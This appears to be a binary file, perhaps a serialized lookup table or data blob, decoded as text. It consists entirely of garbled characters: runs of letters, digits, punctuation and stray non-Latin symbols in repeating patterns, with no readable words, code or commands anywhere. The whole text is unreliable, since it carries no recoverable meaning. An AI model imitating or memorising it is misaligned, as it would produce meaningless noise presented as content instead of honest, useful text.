pbbbbp,p<pKpZbbpjpzppbbbbbbppppbbppqqbbbbq#nq2bbqAqPq_qobcbbbbbbq~qqqbbqqqqcccc5/3qccrrr%5!cccc c c r4rCrRrac c ronrrccc3rrncccc3ccVcc6cc(cc"ccocc5lo5lcc 5lo'o'c!o'o6c#c$o63c%c'c&3c)c0c*c-c+5Nc,5NoEc.c/oToEoTc1c5c2c3oTococc4oc5?5?5]c7cHc8c@c9c=c:c<c;v5]vvHc>5!Hc?H5!cAcDorcBcCoorocEcFooocGo+cIcOcJcK+cLcNcMoooncPcScQnncRnnncTcUnnncWc{cXcgcYc_cZc^c[c\nnnc]nnnnc`cdcacccbnnnn)Jceo)Jcf)Jochcrcicmcjclocko5l5lo'cncpcoo6o'o63cq3cscwctcucv5N5NcxczoEcyoEoToTocc|cc}cc~cccc5?oc5?5]c5]vccvHc5!H5!ccccorcoroooccc+o+cocccccconcnnnccncnnnncccccnnnncnnccn)Jco)Jocdvccccccccccccooooccoop pccccp,p<pKpZccpjpzppccccccppppccppqqccccq#nq2ccqAqPq_qoccccccccq~qqqccqqqqcccc5/3qccrrr%5!ccccccr4rCrRraccronrrccc3rrncccc3cd'cdccccccocc5lo5lcc5lo'o'co'o6cco63ccc3cdccc5Nc5NoEcdoToEoTddddoTococdoc5?5?5]ddd dd dd d d v5]vvHd5!HdH5!ddorddooroddooodo+dd dd+dddooond!d$d"nnd#nnnd%d&nnnd(dLd)d8d*d0d+d/d,d-nnnd.nnnnd1d5d2d4d3nnnn)Jd6o)Jd7)Jod9dCd:d>d;d=od<o5l5lo'd?dAd@o6o'o63dB3dDdHdEdFdG5N5NdIdKoEdJoEoToTocdMdbdNdXdOdTdPdRdQ5?oc5?5]dS5]vdUdVvHdW5!H5!dYd]dZd\ord[oroood^d`d_+o+daodcdldddhdedfondgnnndidkndjnnnndmdrdndpdonnnndqnndsdtn)Jduo)Jodwdxddyddzdd{d~d|d}ooooddoop pddddp,p<pKpZddpjpzppddddddppppddppqqddddq#nq2ddqAqPq_qoddddddddq~qqqddqqqqdddd5/3qddrrr%5!ddddddr4rCrRraddronrrddd3rrndddd3dddddddddddddddddddddddd7ddddg&dedetde/de dddddddddd(Kdddddd<deddddddd<dddddddddddddddeeeeeeee ee e e eeeeeeee;eeNeeeeܯee9ee%ee"e e!e#e$e&e,e'e(e)e*e+e-e.e0eUe1e@e2e9e3e6e4e5;e7e8;e:e=e;e<e>e?eAeKeBeEeCeDeFeGeHeIeJeLeReMeNeOePeQeSeT<eVeeeWe^eXe[eYeZde\e]7e_ebe`ea7ecedefemegejeheiekel<eneqeoepereseueeveeweexeeye|eze{еe}e~eeeeee7eeeeeeeeeeeeeeeeeeeedeeeeeeeeeeеeeeeFee4eeeeeeeeeeeeeeeeeeeeeeeeee<eeee9eeeeeeeeeeeeeeee<eeeeeeeeeeeeeeՒeeeeeeeeee<eeeeʠeeefefUefef efefffff9ff ff9f f f fffffffffffffʯffFff'ff!ff Jf"f#f$f%f&df(f+f)f*;f,f-f.f/f0f1f2f3f4f5f6f7f8f9f:f;f<f=f>fCf?fAf@#fB+fDfE#fGfNfHfKfIfJfLfM7fOfRfPfQdfSfT7fVfufWfffXf_fYf\fZf[f]f^f`fcfafbfdfe*fgfnfhfkfifjflfm<fofrfpfqfsft7fvffwf~fxf{fyfzf|f}/ffffdfffffffffffffffffffffffffffffff7ffffffʠffffffffff<ffffffffffffffffffffHff#ffffffffffffffdfffffffgfffffffffffff3D35ff#3Sff;fff7ffffffff<fffffg;gggg gggggg g g g 7gggggggʠggggggggggg g#g!g"g$g%dg'h2g(gg)ghg*gLg+g=g,g6g-g0g.g/g1g2g3g4g5dg7g:g8g9g;g<g>gEg?gBg@gAʠgCgDgFgIgGgHgJgKgMgYgNgUgOgRgPgQʠgSgTdgVgWgXgZgag[g^g\g]g_g`Jgbgegcgdgfggkgiggjg|gkgrglgogmgnеgpgqgsgvgtgugwgxgygzg{7g}gg~ggggggggggggHgHgHggggggggggggggggggggggggggggggggggggggggggggggggggggggggggJgggg/ggggggggggggggggggggg<gggggggg<ggggJggghghggggggʠgg˭ggggghhh hhhhhhdh h h h dhhhhh7hh#hhhhhhhhhh hhh!h"h$h+h%h(h&h'h)h*еh,h/h-h.h0h1kh3hh4hsh5hTh6hEh7h>h8h;h9h:h<h=2h?hBh@hA<hChDhFhMhGhJhHhIhKhL;hNhQhOhPhRhS#hUhdhVh]hWhZhXhYh[h\dh^hah_h`hbhc<hehlhfhihghhhjhkhmhphnho(Khqhrhthhuhhvhhwhzhxhydh{h|h}h~hdhhhhhh<hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhеhhhhhhhhghhhhhhhihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhеhhhhhh#hhhhhhhh*hhJhhhhhhhhhʠhhhhhhhhhihhhhiHii<ii'iiiiii i i ʠi i <iiiiii/i/v/ii<ii iiiiii7i!i$i"i#di%i&еi(i7i)i0i*i-i+i,gi.i/i1i4i2i3/i5i6i8iUi9iOi:i;i<i=i>i?i@iAiBiCiDiEiFiGiKiHiIiJiLiMiNhiPiQiRiSiTiVi\iWiXiYiZi[i]i^i`siaiboicl"idkiej|ifj7igiihiwiiipijimikilinioiqitirisiuiv˭ixiiyi|izi{i}i~7iiii<iiij%iiiiii7ii˭ij"iiiiij!iijiiiiiiiiiiiirirrriiiiiiiiiiirWiiiiiiiiiiiirrFiFriirBiBPriiiDPPiiiiM0DiiiriiiiiiiiFisiii*iFijij iiiijiiiiiiiiiisiiFiiiFiiiiFiiiiiii+iiii+<iFiiiiFjjjjjjjjsFj j Fj j rjjBjBjBBjjBjjBjFBBj(ZBjjjjjDrrjj rsj#j$;j&j-j'j*j(j)j+j,j.j1j/j0;j2j3j4j5j6Jj8j]j9jNj:jDj;jAj<j=j>j?j@jBjCjEjHjFjGjIjJjKjLjMjOjVjPjSjQjR˭jTjU7jWjZjXjYj[j\j^jjj_jcj`jajb9jdjgjejf<jhjikjkjujljojmjn;jpjqjrjsjtjvjyjwjxjzj{j}jj~jjjjjjjjjJjjjjjjjjjjj<jjjjjjjjʠjjjjjjjjjjjjjjjjjjjjjjjj7jjԦjjjjjj7jjjjjj7jj(Kjjjjjjjjjj<jj;jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjdjjjkjjjjjjjjkzkkkkkkk kk kLk k*k kk kkkkkkkkkkkkkʠkk#kk kk7k!k"<k$k'k%k&zk(k)lk+k=k,k3k-k0k.k/k1k2k4k7k5k6<k8k9k:k;k<<k>kEk?kBk@kAkCkDkFkIkGkH;kJkK<kMklkNk]kOkVkPkSkQkRDkTkU<kWkZkXkYk[k\k^kek_kbk`kakckdkfkikgkhkjkkkmkknkukokrkpkqJkskt<kvkykwkx<kzk{k|k}k~kkkkkkQkkkkkkʠkkdkkkkkkkkkkkkkkk7kkkkkkdkkQkkkkkk',kkJkkkkkkkkkkkkkk*kkkkkIkkkkkkkkkkkkkkkkkZhkkkkkkkkkkʠkkJkkkkkkkkkkkkkkkdkkkkk<kkkk7kkkl klkkkkkklllllll<ll l l l lllllglllllll,ll#lllll l!l#ml$ll%lgl&lEl'l6l(l/l)l,l*l+Jl-l.l0l3l1l2l4l59l7l>l8l;l9l:l<l=dl?lBl@lAlClDlFlUlGlNlHlKlIlJlLlMlOlRlPlQlSlTlVl]lWlZlXlYl[l\*l^ldl_l`lalblclelf7lhllil~ljlwlklqlllmlnlolpglrlsltlulvlxl{lylzl|l}lllllllllJllllllllJllllllll lldllll9ll7llllll7llllllllllLllllLlllLllllllmllllllllllQllllllllldlllllllllllllllll)llllSllllllmlllllllllJllllll*llllmmm mm mmmmm7m m m mmm*mmmmmdmmmm'mm mmmmеmmm!m$m"m#m%m&m(mm)mm*m+m,m-mDm.mCm/*m0*m1*m2*m3*m4*m5*m6*m7*m8*m9*m:*m;m?m<*m=**m>D*m@*mA*mB*D**DmEmfmFmVmG*mH*mI*mJ*mK*mL*mM*mN*mO*mP*mQ*mR**mS*mT*mU*DmW*mX*mY*mZ*m[*m\*m]*m^*m_*m`*ma**mbmc*md*me**Dmgmmh*mi*mj*mkmml*mm*mn*mo*mpm*mqmrm{msmwmt**mumv*D*mx**mymz***m|m}**m~*m*Dm*m*mm*mm*m*D**mm*m**m*m**m*mm*m*m**mm*m**mD*m*m*m*m*m*m*m*m**mm*m**m*mm**m*>*mm˭mmmmdmmmmmmmmmmmm7mmmmmmJmmmmmm7mmmmmmmmmmmmn]mnmmmmmmmmmmmmm<mmmmmm0(mmdmmmmmmmm9mmmmmmJmnmnmmmm*mnnnnʯnnnnn n n n n nnnnnnnnʠnnnn7nnnn>nn/n n'n!n$n"n#gn%n&n(n+n)n*n,n-n.n0n7n1n4n2n3n5n6n8n;n9n:<n<n=n?nNn@nGnAnDnBnCdnEnFʠnHnKnInJnLnM3nOnVnPnSnQnRеnTnUnWnZnXnYеn[n\n^nn_nn`nonanhnbnencnd7nfngJninlnjnknmnnnpnwnqntnrns+nunvnxnnynzn{n|n}n~nnnnnnnnnnnnnnnnnnnH'^!nHq`nn'nnnnnnnn'^nPnn7nnnnnnnnnnnnnnnnngnn<nnnnnnnnnnn<nnnn<nn9nnnnnnnnnnnnnnnnnnnnn9nnnnnnnnn9nnnnnnnnnnnnnnnnnnn<nnnnnngnnno ooooooo/ooo o o -o oooooodooooooqopoooo_oo@oo1o o'o!o$o"o#o%o&7o(o.o)o*o+o,o-ʠo/o0o2o9o3o6o4o5o7o8go:o=o;o<o>o?oAoPoBoIoCoFoDoEoGoHdoJoMoKoL<oNoOoQoXoRoUoSoTdoVoWʯoYo\oZo[o]o^<o`ooaosobolocofodoeogohoiojokʠomoponoooqorJotoouoxovowoyozo{o|o}o~oooooooooooooooo+-oooooo<oooooooodooʠooooooooooooooooooooJoooooooooooooooooJoooooo7oooooodoooooooooo9oo7ooooooooooooooooooooopoop]opop ooodododoodododpdpdpdpdpdpdpdpdpdp dp dp dTdp ppppBppppppppppp0 p0 p0 p 0 p!0 p"0 p#0 p$0 p%0 p&0 p'0 p(0 p)0 p*0 p+pLp,p<p-0 p.0 p/0 p00 p10 p20 p30 p40 0 p5p60 p70 0 p80 p9p:0 p;0 0 ˥p=0 p>0 p?0 p@0 pA0 pB0 pC0 0 pDpE0 pF0 pG0 pH0 pI0 pJ0 pK0 0 ˥0 pMpN0 pO0 pP0 pQ0 pR0 pS0 pT0 pU0 0 pV0 pWpX0 pY0 pZ0 0 p[0 p\˥0 p^php_pbp`papcpdpepfpgpiplpjpkpmpndppppqpxprpupsptpvpw<pyppzp{p|p}pp~p4 öJA,pp^?J-pp9pppppppppppppppdpppq4ppppppppppppppppp<pppp9pppppppppp<pppp7pppppppppppppppppppppdpppppp7ppppppJpppp;p;p;p;p;p;p;p;p;p;p;p;p;p;p;p;p;p;';pqpqppppppgpp<pqpp9qq7qq qqqqq q q qq q7qqqq%qqqqqq<qqqqqʠqq"q q!q#q$q&q-q'q*q(q)/q+q,<q.q/q0q1q2q3zq5qzq6qXq7qIq8qBq9q<q:q;dq=q>q?q@qA9qCqFqDqEzqGqHqJqQqKqNqLqMqOqP7qRqUqSqTdqVqWqYqkqZqaq[q^q\q]q_q`7qbqeqcqdqfqgqhqiqjqlqsqmqpqnqo3qqqrqtqwquqvqxqyq{qq|qq}qq~qqq<qqqqqqdqqqqqqqqqqqqqgqqqq7qq9qqqqqqqq<qqqqqJqqqqqq9qqqqqqzqqqqqʠqqqqqq<q~sq}q}q}sq}dq}]qqqqеqqqqtqt'qqs1qrcqrqqqqqqqqqqqqqqqqqqqqǬqqqqqȬXqqqqqqqqqqqqqȬqqqqrrrrrr8rr!rr r rr r r rrrrrrrrrrr-rrrrr5-rr Ⱥr"r#r%r$Ǭr&r'rCr(r)r*r+r7r,r-r.r/5r05r15r25r35r45r55r65r8r9r:r;r<r=r>r?@=r@@=rA@=rB@=rDr`rErNrFrIrGrHȐrJrKrLrMrOr[rPrWrQrTrRrSrUrVɩrXrYrZçr\r]r^r_rarbrdrrerrfrxrgrmrhrirjrkrlǞrnrorprqrrrsrtrurvrwǬ`Ǭryrrzrr{r|r}r~rrrrXr85rȐ@=rrrrrrrrrrrrrrrrrrrrrrrrr5rrrrrrrrrrrrɊrrrrrrȬrrrrrrrrrrrrrr`rrȞrrrrrǞrǞr6rrrrrrrrrr-5r5rçrrrrXrrrrrrrrrrr]ǞшMrr7|NrsrrrrȬrrrrrrrrrrrrrɊrrr]r@=rrss@=inssss'sssss s s s s Ȑsssss8-ç-5ss!sssssssssss-s -s"s#s$s%s&s(s)s*s+s0s,s-s.s/5-s2ss3sOs4sGs5s6s8s7s9s:s;s<s=sBs>s?s@sA55sCsDsEsF5sHsLsIsJsK--ȐsMsNǬsPswsQshsRsSs_sTsUsVsWsXsYsZs\s[Ȑ8s]s^Ȃs`sasbscsdsesfsgçsistsjskslsmsnsospsqsrsscǞsusvɩ5sxssyszss{ss|s}s~Ȭ9{s9{s9{s9{ss9{ss9{s59{s9{9{5ssssssssçssçsssssssssssssssssssssssssssssssssssssssss5ssss5s5s5s5s5s5s55ssss5s-ss-sȬsss`ssssssssssssss:sssssssssssȐssss9{stsssssssstssssss5tttttt]tt t t 7t 7t tttttt78`ttttt7Ⱥ7t77ttt77t77t7tt$t t"t!77t#7-7t%7t&77t(tt)tt*t_t+tCt,t4t-t0t.t/t1t2t3-t5t<t6t9t7t85857t:t;ç7t=t@t>t?ɚ`tAtBȐ DtDtPtEtJtFtHtGrȬctIǞrǞtKtMȞtL7tNtOȬDtQtXtRtUtStTǬȐȂtVtW5ȺɚtYt\tZt[77N7t]t^-çNt`ttatptbtitctftdte9{:Ȑ]tgth`>7tjtmtktll7ɩtntotqtxtrtutstt8"|/7tvtw:o7|X8tyt|tzt{T{t}t~ш%cAttttttttYBal0Ftt815ttttn7mtt565tttttt8O@tt6D=:_tttt9lɊ7ttɸtttttttttttO_Nytt>kKttttrYtt>L5>-ttttttXOtt#::ttttittrttttttN:uttȂrttttttttt}7txCtttwtvrtutudtutttttttt^t^t^t^sststsYttYtYtt/Y//t/-tttt-tt/-t-//tt///tt/tt/t////>\tu tutut>>\u>\u>\>u>u>uu uǞuu ǞǞu ǬǞǬu uuuuXuXǬuǬXuuXuuuȐuȐuȐȐ>-u>-u>-u>-';uuAu u0u!u)u"u%';u#';u$';A"A"u&A"u'u(4A"4u*u,4u+4XXu-u.=Xu/X=u1u9u2u5u3Ȟu4Ȟ=Ȟu6iu7iu8iȞiu:u>u>u>u>NuuuuuuNuNuNuuuuuuNNuulNuNluuuuluuluuk;uk;k;uuk;7uk[7u7u7k[uu5uuuuuuuuu81uuTuT81TTv%uuuȺv%uv%uv%Ⱥu>ȺuȺ>uuuuuAM>uuAM>AMu9{AM9{uuuOuO9{u9{Ou7u7O7uuuuuuu8u8u878OPuOPuOPuOPjuujujujuuu9l9luuuu9lu9lOuMOMuuukukMuMku-u-k-uv.uvuuuuuuuuu-|u|u|u|uuuuɚɚuɚuu7ɚ7uvvv7v777vvk7v7kvv j`vj`v j`v j`8"8"v 8"v 8"9vvvvvv9v9vvO"9O"O"vO"vvvvvvvv v&v!v%v"v#>v$>>>шv'v+v(çшv)шv*шçv,çv-çv/vRv0v@v1v8v2v6v3Yv4v5YYv7XpYXpv9v=v:kKv;kKXpv<XpkKv>k{v?k{kKk{vAvJvBvFvCvDvEk{vGvHvI7]vKvN7]vL7]vM7]kkkkvOkkvPvQ6%kk6%vSvcvTv[vUvW6%vV6%::vXvYA:vZ:Av\v_Av]v^6A66v`va:_vb:_6:_vdvjvevf:_vg:vhvi:vkvnvl=:vm:=vo=vpvq=vswnvtvvuvvvvvwvvxvvyv{vz::v|vv}5 :v~:5 v5 5 v5 vvv:v:5 :v9v9v9:9vvvv><v><v><v><vvMvvMvMvvbMbbvbBavvvvvvBavvrBavBarrvvrvvvvv:OvvvvvY:Ov:Ov:OYvO@YvYO@vvv6DO@vv6DO@6Dv6DvvvvvvvvvOovOovOov7v7Oo7vvvvv7YvYvYvYevvvvevevejjvjvvujuvvuvuvvvvvvvvvvvLLLvv v L vv ɊvɊvɊvɊvvvvvvvvvvvvUUvxvxUvUxvwBww"wwww wwwwxwjwjw jjw wjow jow jowjoNNwNwNwwwwwwwwXwwXww5XwX55w w!i5iw#w2w$w*w%w)iw&w'w(ij@w+w/w,j@w-j@w.j@w0w1w3w:w4w8w5#w6w7##w93#3w;w?w<Cw=C3w>3Cw@7|wA7|C7|wCwfwDwVwEwNwFwJwGwHwI7|wKwLwMwOwRwPwQYYwSYwTwUjYjwWw^wXwZjwYjDDw[w\cDw]Dcw_wbcw`waEcEEwcwdO_weO_EO_wgwhwiwjO_%wk%wl%wm%wowwpwwqw~wrwswwwtwuwvwxw|wywzw{MMMw}Mwwwwwwwwwww99ww9ww6Dw6D96D6Drwwwwrwrwrwwwçwççwwwwwwçwçwç-ww-ww5-w-55ww5wwwwwwwȺwww65ȺwȺwȺ65w765w657wwwwwwwȬ7wwȬ7ȬwȬwXwXwXwXwwwwwcwcwcXc:ow:ow:ow:o:Ow>L:Ow:Ow:O>Lwwwwwwww>Lw>L:_:_ww6%:_w:_6%ww6%ww:6%::wwBawBa:BawwwwBa:w::w:w::ww:w:wxwwwwwwwwwww-wwwxxxçxxxxxxx x x x x çxxBxxȂxȂxx-xȂxȂxȂxȂȂxxȂxȂxȂxȂxȂxȂxȂȂx x!Ȃx"Ȃx#Ȃx$Ȃx%x+x&x)x'x(Ȃ5Ȑx*x,ȂȂx.Ȃx/Ȃx0ȂȂx1x2Ȃx3Ȃx4Ȃx5Ȃx6Ȃx7Ȃx8Ȃx9ȂȂx:x;Ȃx<Ȃx=Ȃx>Ȃx?ȂȂx@ȂxAȂxDyxExoxFxQxGxJxHxI-xKxLxMxNxOxPxR5xS5xT5xU5xV5xW5xXxnxY5xZ55x[5x\5x]x^x_x`xaxbxcxdxexfxgxhxixjxkxlxm75:xpy?xqy xrxxsxtxuxvxwxxxyxzx{x|x}x~xxxxxxxxxxxxxxxxxcMȬxxxx/>k/lxx7-BarxxxxxxNxx7]77xxxx50F6%Ooxx:O7mɊxxxxxxxxxxxxɩç>xx65:_xxxx:8ǬxxTǞXxxxxxx81Ⱥ=>-xxȐN>\Ȃxxxx';AM4XxxO<)78xxxxxxxx9{XMxx|OPȞxxxx7|:-xxYn=:xxxxxx6DN7Nxxɚ97O@xxxx{78"Xxx`O"xxxxxxxxx9:xxO_]cxxxxш%Axx:oɸYDxxxsxyxxxxxyxy-yy0F5lyyyyy y y y çyy,yyyyyyyyy--çy-y-y-5-y-y--yyyy y!y(y"y%y#y$ɚy&y'5y)y*y+5-y-y5y.y/y2y0y17y3y47y6y7y8y9y:y;y<y=y>rȐy@yTyAyByGyCçyDyEyF5ȂyHyIyJyKyLyMyNyQyOyP5ɩyRyS-çyUy]yVyWyXyYy\yZy[Ȑ5`y^yzy_ɚy`ɚyaɚybɚycɚydɚyeɚyfɚygyhɚɚyiɚyjɚykylɚymɚɚynyoɚypɚɚyqɚyrysɚytywyuɚyvɚɚ5ɚyxyyɚ8ɚy{O"y|y}y~yyyy-yyyyçyçyççyyçyçyççyy{yzyzyyyyyyyyyy^y^y^y^ssysysYyyYyYyy/Y//y/-yyyy-yy/-y-//yy///yy/yy/y////>\yyyyyyy>>\y>\y>\>y>y>yyyǞyyǞǞyǬǞǬyyyyyXyXǬyǬXyyXyyyȐyȐyȐȐ>-y>-y>-y>-';yyyyyyyy';y';y';A"A"yA"yy4A"4yy4y4XXyy=XyX=yyyyyȞyȞ=ȞyiyiyiȞiyyz<jz=jjz?;qz@;qzA;qj;qzCzSzDzLzEzI;zF;zG;zH;==zJ=zK=NzMzQNzNNzOzP7N77zR7{zTz\zUzY{zVzW{zX{zZz[``z]za`z^z_Ȃz`Ȃ`ȂȂ<)zczzdztzezmzfzjzg<)zh<)zi<)zkzlznzrzozpzqzs;;zuz}zvzzzwczxc;zy;cz{O1z|O1cO1z~zzɸzɸzɸO1ɸ>z>z>z>NzzzzzzNzNzNzzzzzzNNzzlNzNlzzzzlzzlzzk;zk;k;zzk;7zk[7z7z7k[z{0zzzzzzzzzzzk[zzk[z77zzz7z77z77z0Fz0F70Fzzzzz7mz7mz7m0F7mXzXzXzXɩzzɩzɩzɩzzzzzzzzzzYrYrzz5YrzYr5zz5zzz5ggzg6565z65z65vzzzzvzvzzkvkkzkjzzjzz8jzj88zz81881z{zzzzzz81zzTzT81TTv%zzzȺv%zv%zv%Ⱥz>ȺzȺ>{{{{{AM>{{AM>AM{9{AM9{{{ { O{ O9{{ 9{O{ 7{7O7{{"{{{{{8{8{878OP{OP{OP{OPj{{j{j{j{{ {!9l9l{#{({${&9l{%9lO{'MOM{){-{*k{+kM{,Mk{.-{/-k-{1{u{2{U{3{E{4{={5{9{6{7{8-|{:|{;|{<|{>{A{?{@ɚɚ{Bɚ{C{D7ɚ7{F{M{G{I7{H777{J{Kk7{L7k{N{Rj`{Oj`{Pj`{Qj`8"8"{S8"{T8"9{V{f{W{^{X{\9{Y9{Z{[O"9O"O"{]O"{_{c{`{a{b{d{e{g{m{h{l{i{j>{k>>>ш{n{r{oçш{pш{qшç{sç{tç{v{{w{{x{{y{}{zY{{{|YY{~XpYXp{{{kK{kKXp{XpkK{k{{k{kKk{{{{{{{{k{{{{7]{{7]{7]{7]kkkk{kk{{6%kk6%{{{{{{6%{6%::{{A:{:A{{A{{6A66{{:_{:_6:_{{{{:_{:{{:{{{=:{:={={{={|{|E{|{{{{{{{{{::{{{5 :{:5 {5 5 {5 {{{:{:5 :{9{9{9:9{{{{><{><{><{><{{M{{M{M{{bMbb{bBa{{{{{{Ba{{rBa{Barr{{r{{{{{:O{{{{{Y:O{:O{:OY{O@Y{YO@{{{6DO@{{6DO@6D|6D||%|||| || |Oo|Oo|Oo| 7| 7Oo7| ||||7Y|Y|Y|Ye||||e|e|ejj|j||uju||!u| u|"|#|$|&|5|'|/|(|+|)|*LLL|,|- |. L |0|1 Ɋ|2Ɋ|3Ɋ|4Ɋ|6|>|7|:|8|9|;|<|=|?|A|@UU|Bx|CxU|DUx|F||G|i|H|Y|I|Q|J|M|K|Lx|Nj|Oj|Pjj|R|Vjo|Sjo|Tjo|UjoNN|WN|XN|Z|a|[|_|\|]|^|`X|b|fX|c|d5X|eX55|g|hi5i|j|y|k|q|l|pi|m|n|oij@|r|v|sj@|tj@|uj@|w|x|z||{|||#|}|~##|3#3|||C|C3|3C|7||7|C7||||||||||||7||||||||YY|Y||jYj||||j|jDD||cD|Dc||c||EcEE||O_|O_EO_||||O_%|%|%|%|}|||||||||||||||MMM|M|||||||||||99||9||6D|6D96D6Dr||||r|r|r|||ç|çç||||||ç|ç|ç-||-||5-|-55||5|||||||Ⱥ|||65Ⱥ|Ⱥ|Ⱥ65|765|657|} |}}}}Ȭ7}}Ȭ7Ȭ}Ȭ}X}X} X} X} }} }}c}c}cXc:o}:o}:o}:o:O}>L:O}:O}:O>L}}}},}}$}} >L}>L:_:_}!}"6%:_}#:_6%}%}(6%}&}':6%::})}*Ba}+Ba:Ba}-}3}.}/Ba:}0::}1:}2::}4}5:}6:}8};}9Ǭ}:ǬǬ}<}=}E}>ç}?}B}@}Ac}C}DcǬ}FǬ}GǬ}HǬ}IǬ}J}K}V}LǬ}MǬ}NǬ}O}R}PǬǬ}QȐ}S}TǬ}UǬçǬ}WǬ}XǬ}YǬ}ZǬ}[}\ǬǬç}^}a}_}`}b}cd}e}l}f}i}g}h}j}kd}m}p}n}o}q}r}t}}u}}v}|}w}x}y}z}{}}}~}}}}<}}}}}J}}}}}}}}*}}}}}}}}}}}}}}}}9}}}}}}е}}}}}}}}}}<}}}}}}}ʠ}}}}}d}}}}}}}}7}}}}}}}}}}}}}}}}}}}}}}}}}}}}~.}~ }}}}}}}}J}}}}}}7}}}}}b}~}}}}}}}~~d~~ ~~~~~9~ ~ 9~ ~~~~~~~ʯ~~ʠ~~~~~~~~~9~ ~'~!~$~"~#~%~&d~(~+~)~*7~,~-9~/~N~0~?~1~8~2~5~3~4˭~6~7~9~<~:~;~=~>~@~G~A~D~B~C~E~F9~H~K~I~J~L~M<~O~a~P~Z~Q~W~R~S~T~U~V~X~Y7~[~^~\~]~_~`~b~i~c~f~d~e~g~h~j~p~k~l~m~n~od~q~r~t~u~~v~~w~~x~~y~|~z~{d~}~~<~~~~~~~~~~~~7~~<~~~~~~~~~~~~~~~~~<~~g~~~~~~~~~7~~~~~~~~~~~~~~~~~J~~~~~~~~~~~~~~~~F~~~~~~~~~~~~~~S~~~~~~~~~~~J~~~~~~~~7~~7~~~~~~~~~<~~~~~7~ʠ  >   dJ% !"#$&,'()*+-./09192939495969799899:9;9<9=9S9?s@iAfBCDEFGHWIJKLMNOPQRSTUVJ1XYZ[\]^_`abcdeghgjpklmno<qrt{uxvwdyzе|}~dDd$<?3< j]$d7Ւ7     dd! ʠ"#7%G&8'.(+)*<,-/501234<679@:=;<>?7ADBCEFH{ItJqKLMNOpP`QRSTUVWXYZ[\]^_?abcdefghijklmno-rs7uxvwwyz|}~<<7 d<dQ#Y 7<    777777)" !#&$%'(*V+.,-/0123456789:;<=>?Q@MAGBDC]7EF:O6DDHKIJN:Y>kLNOPǬRSTUnWZXY[\^_L`abicfde3ghjmkl7nopqJrJsJtJuJvJJwxJyJzJ{J|}~JJEJEJJJJ&JGqJJJJJGJJJJGJJJJJGJJJJJJyJJJJJJJUJJJJJJJDRJ6JJpJJJJJRRTRk-?JAJA<E?*.* * * * * **********>******* **!"**#$**%&**'(**)***+,**-*/*0*1*2*3*4*5*6*7*8*9*:*;*<*=*>**>@ABCD9FIGH<JK7MpN`OVPSQRQTUW]XYZ[\^_ahbecdJfgiljk<mnoqrysvtuwx<z{|}~ʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠʠ<<<%Qʠ JA-JA---    7J;" !#$&K'9(/),*+Q-.061234578:D;A<=>?@BC<EHFG7IJL[MTNQOPRS<UXVW7YZ7\c]`^_abdgefdhidklmnopzqwrstuv7xy{~|}Fd7<77*qrr.  r ,   ʠеb%" !9#$d&)'(7*+-=.6/301245d7:89";<>h?B@ACDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg-iojklmn7pqzstuvywx7z{|}~ds#;7Jʠ7ʯ<n6J<ʠHHе'   J  < 7!$"#%&(Q)G*-+,./0123456789:;<=>?@ABRCRDRERFaRHKIJLMNOPʠRxSuTUVWXYZ[\]i^_`abcdefghljklmnopqrstvwy|z{}~J<,pF7N;gʠB<d  ;  ?V1"< !#*$'%&()7+.,-/02D3=4756789:;<>A?@/BCEOFIGHJKLMNPSQRTUWvXgY`Z][\7^_adbcQefhoiljkmnpsqrdtuwxy|z{3}~7<d͹dе4Bе4Bеееееееееееее44е44е7Jdʠ77*  ʠ    *!0")#&$%ö'(*-+,./d182534*67N9<:;=>@ABdCUDKEHFG9IJLOMNʠPQRSTV]WZXY[\^a_`Bbc9etfmgjhiklnqop9rs7u|vywxz{}~7е999999999999999{9{9{9{99{9{999999999999{9999{<4dʯ   ʯ  <%.G" !#$&-'*()+,9.1/0235T6E7>8;9:9<=?B@ACD<FMGJHIJKL9NQOPRSʠUmVcW]XYZ[\9^_`abdjefghidkldnuorpqJstvywx9z{|}~7_J;7ç5Ⱥɚ-çT/çȬ`rȐɚȺ5Ȃ-Tçr6DMçȬ`rȐɚȺ5Ȃ-   Tçr  6DM)çȬ`rȐ$! ɚȺ"#5%'&Ȃ(-*+,-.Tç0y1U234L5?6978ç:<Ȭ;`=>rȐ@GADBCɚȺEF5HJIȂK-MNORPQTçrST6DMVWXpYcZ][\ç^`Ȭ_`abrȐdkehfgɚȺij5lnmȂo-qrsvtuTçrwx6DMz{|}~çȬ`rȐɚȺ5Ȃ-Tçr6DMçȬ`rȐɚȺ5Ȃ-Tçr6DMM çȬ`rȐɚȺ5Ȃ-TççȬ`rȐɚȺ5Ȃ-Tçr 6DM ,  &çȬ`rȐ!ɚȺ 5"$#Ȃ%-'()*+Tç-./G0:1423ç57Ȭ6`89rȐ;B<?=>ɚȺ@A5CEDȂF-HIJKLTçNOsPQRjS]TWUVçXZȬY`[\rȐ^e_b`aɚȺcd5fhgȂi-klmpnoTçrqr6DMtuvwx{yzç|~Ȭ}`rȐɚȺ5Ȃ-TççȬ`rȐɚȺ5Ȃ-TççȬȬ`ȐrɚȺ5-çTȐcDIa>3:     7ʠ 7!$"#%&'(9)99*+9,9-9.9/909199239945969979899{9;M<F=C>?@ABDEGJHIKLNXOUPQRSTgVWçY\Z[z]^`abcudrefghijklmnopqNstvywx7z{|}~7<<)<dʠ$vgk˭dd<LLH   е  77[<*# !"$'%&7()ʠ+5,/-.012346978<:;;=L>E?B@ACD$FGHIJKMTNQOPRSdUXVWYZ7\]l^e_b`a7cd7figh7jk7mwntopqrsuvx{yz|}~ʠ<gd'JzgJ     < 9!$"#%&(M);*1+.,-/028345679:<F=C>?@ABDEGJHI7KLgN^OWPTQRS7UVX[YZ\]_i`fabcdegh<jpklmnoʠqrgtuv;w$xyz{|}~ʠ9Q7d<еg;J7ʠQv(     N% !"#$&')8*1+.,-</0253467>9@:=;<>?ABCDEFGOHIJKLMN7PQRSTUVWX_YZ[\]^ç`fabcdegohijmkl-çnɩpqrtsTçu7wxyz{|}~/<<<NJ;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b  ;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b ;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b;b 